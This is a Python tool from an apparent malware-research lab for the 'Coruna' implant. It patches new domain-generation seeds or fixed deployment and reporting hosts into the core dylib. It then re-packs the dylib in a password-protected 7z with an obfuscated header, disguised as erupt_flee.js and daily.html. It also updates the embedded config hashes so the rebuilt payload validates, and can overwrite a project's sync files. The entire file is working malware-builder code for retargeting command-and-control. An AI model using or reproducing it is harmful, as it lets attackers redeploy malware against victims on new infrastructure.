coruna-lab/tools/patch_core.py

#!/usr/bin/env python3
"""Patch DGA seeds in core (erupt_flee) and rebuild daily.html with updated sha256/size."""

from __future__ import annotations

import argparse
import json
import shutil
import struct
import tempfile
from pathlib import Path

from _common import (
    CORE_DYLIB,
    DAILY_BODY,
    LAB_ROOT,
    MODULE_HUNT,
    SOURCE_ROOT,
    ensure_tree_layout,
    patch_seeds_in_dylib,
    set_tree_root,
    sha256_hex,
    tree_root,
    validate_seed_arg,
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
import _common

import sys

sys.path.insert(0, str(MODULE_HUNT))

from coruna_netconfig_pipeline import (  # noqa: E402
    HEADER_MARKER_1,
    HEADER_MARKER_2,
    HEADER_XOR,
    STANDARD_7Z_PREFIX,
    derive_archive_password,
    repair_coruna_7z_header,
)
from reproduce_coruna_dga import generate_domains  # noqa: E402

try:
    import py7zr
except ImportError as exc:  # pragma: no cover
    raise SystemExit("py7zr required: pip3 install py7zr") from exc


def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
    if not standard_7z.startswith(STANDARD_7Z_PREFIX):
        raise ValueError("expected a standard 7z archive")
    next_header_offset = struct.unpack_from("<Q", standard_7z, 12)[0]
    next_header_size = struct.unpack_from("<Q", standard_7z, 20)[0]
    out = bytearray(standard_7z)
    struct.pack_into("<Q", out, 0, HEADER_XOR ^ next_header_offset)
    struct.pack_into("<Q", out, 8, HEADER_XOR ^ next_header_size)
    struct.pack_into("<Q", out, 16, HEADER_MARKER_1)
    struct.pack_into("<Q", out, 24, HEADER_MARKER_2)
    return bytes(out)


def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
    with tempfile.TemporaryDirectory() as tmp:
        root = Path(tmp)
        member = root / member_name
        member.write_bytes(payload)
        archive = root / "out.7z"
        with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
            handle.write(member, arcname=member_name)
        return archive.read_bytes()


def extract_daily_config_bytes() -> bytes:
    repaired, _ = repair_coruna_7z_header(DAILY_BODY.read_bytes())
    password = derive_archive_password()
    with tempfile.TemporaryDirectory() as tmp:
        archive = Path(tmp) / "daily.7z"
        archive.write_bytes(repaired)
        with py7zr.SevenZipFile(archive, mode="r", password=password) as handle:
            handle.extractall(tmp)
        return (Path(tmp) / "tmp.dylib").read_bytes()


def update_core_fields(config_bytes: bytes, digest: str, size: int) -> bytes:
    obj = json.loads(config_bytes)
    obj["core"]["sha256"] = digest
    obj["core"]["size"] = size
    return json.dumps(obj, ensure_ascii=False, separators=(",", ":")).encode("utf-8")


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Patch core seeds and rebuild sync/erupt_flee.js + sync/daily.html"
    )
    parser.add_argument("--deployment-seed", required=True)
    parser.add_argument("--reporting-seed", required=True)
    parser.add_argument(
        "--deployment-domains",
        action="append",
        default=[],
        help="fixed Deployment hosts (repeat or comma-separated). Overrides DGA output.",
    )
    parser.add_argument(
        "--reporting-domains",
        action="append",
        default=[],
        help="fixed Reporting hosts (repeat or comma-separated). Overrides DGA output.",
    )
    parser.add_argument(
        "--root",
        type=Path,
        help="project root containing web/ + sync/ (required with --apply)",
    )
    parser.add_argument(
        "--out",
        type=Path,
        help="output dir (default: <root>/out/sync or lab out/sync)",
    )
    parser.add_argument(
        "--apply",
        action="store_true",
        help="copy daily.html + erupt_flee.js into <root>/sync/",
    )
    args = parser.parse_args()
    dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
    rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
    fixed_dep = (
        parse_domain_list(args.deployment_domains, label="deployment")
        if args.deployment_domains
        else None
    )
    fixed_rep = (
        parse_domain_list(args.reporting_domains, label="reporting")
        if args.reporting_domains
        else None
    )
    if (fixed_dep is None) ^ (fixed_rep is None):
        raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")

    if args.root:
        set_tree_root(args.root)
        ensure_tree_layout(tree_root())
    if args.apply:
        if not args.root:
            raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
        if tree_root().resolve() == SOURCE_ROOT.resolve():
            raise SystemExit("refusing --apply into source/; create a project first")
    if args.out is None:
        args.out = tree_root() / "out" / "sync" if args.root else LAB_ROOT / "out" / "sync"
    sync_dir = _common.SYNC_DIR

    if not CORE_DYLIB.is_file():
        raise SystemExit(f"missing core dylib: {CORE_DYLIB}")
    if not DAILY_BODY.is_file():
        raise SystemExit(f"missing daily body: {DAILY_BODY}")

    patched = patch_seeds_in_dylib(
        CORE_DYLIB.read_bytes(),
        dep,
        rep,
        expect_dep=2,
        expect_rep=2,
        label="core/tmp.dylib",
    )
    if fixed_dep is not None and fixed_rep is not None:
        patched = patch_fixed_domains_in_dylib(
            patched,
            fixed_dep,
            fixed_rep,
            deployment_seed=dep,
            reporting_seed=rep,
            label="core/tmp.dylib",
        )
    digest = sha256_hex(patched)
    size = len(patched)
    password = derive_archive_password()

    erupt_wire = obfuscate_coruna_7z_header(
        make_passworded_7z("tmp.dylib", patched, password)
    )
    repaired, _ = repair_coruna_7z_header(erupt_wire)
    assert repaired.startswith(STANDARD_7Z_PREFIX)

    config_bytes = update_core_fields(extract_daily_config_bytes(), digest, size)
    daily_wire = obfuscate_coruna_7z_header(
        make_passworded_7z("tmp.dylib", config_bytes, password)
    )

    out: Path = args.out
    out.mkdir(parents=True, exist_ok=True)
    (out / "erupt_flee.js").write_bytes(erupt_wire)
    (out / "daily.html").write_bytes(daily_wire)
    (out / "tmp.patched.dylib").write_bytes(patched)
    (out / "config.patched.json").write_text(
        json.dumps(json.loads(config_bytes), indent=2) + "\n"
    )

    dep_domains = fixed_dep if fixed_dep is not None else generate_domains(dep, 5)
    rep_domains = fixed_rep if fixed_rep is not None else generate_domains(rep, 5)
    manifest = {
        "deployment_seed": dep,
        "reporting_seed": rep,
        "mode": "fixed_domains" if fixed_dep is not None else "dga",
        "core_sha256": digest,
        "core_size": size,
        "daily_sha256": sha256_hex(daily_wire),
        "erupt_flee_sha256": sha256_hex(erupt_wire),
        "deployment_domains": dep_domains,
        "reporting_domains": rep_domains,
    }
    (out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")

    print(f"core sha256={digest} size={size}")
    print(f"wrote {out / 'erupt_flee.js'}")
    print(f"wrote {out / 'daily.html'} (core.sha256/size updated)")
    print("deployment domains:")
    for d in manifest["deployment_domains"]:
        print(f"  {d}")
    print("reporting domains:")
    for d in manifest["reporting_domains"]:
        print(f"  {d}")

    if args.apply:
        shutil.copy2(out / "erupt_flee.js", sync_dir / "erupt_flee.js")
        shutil.copy2(out / "daily.html", sync_dir / "daily.html")
        print(f"applied -> {sync_dir}")
    else:
        print(f"\nRe-run with --apply --root <project> to overwrite sync/{{daily.html,erupt_flee.js}}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())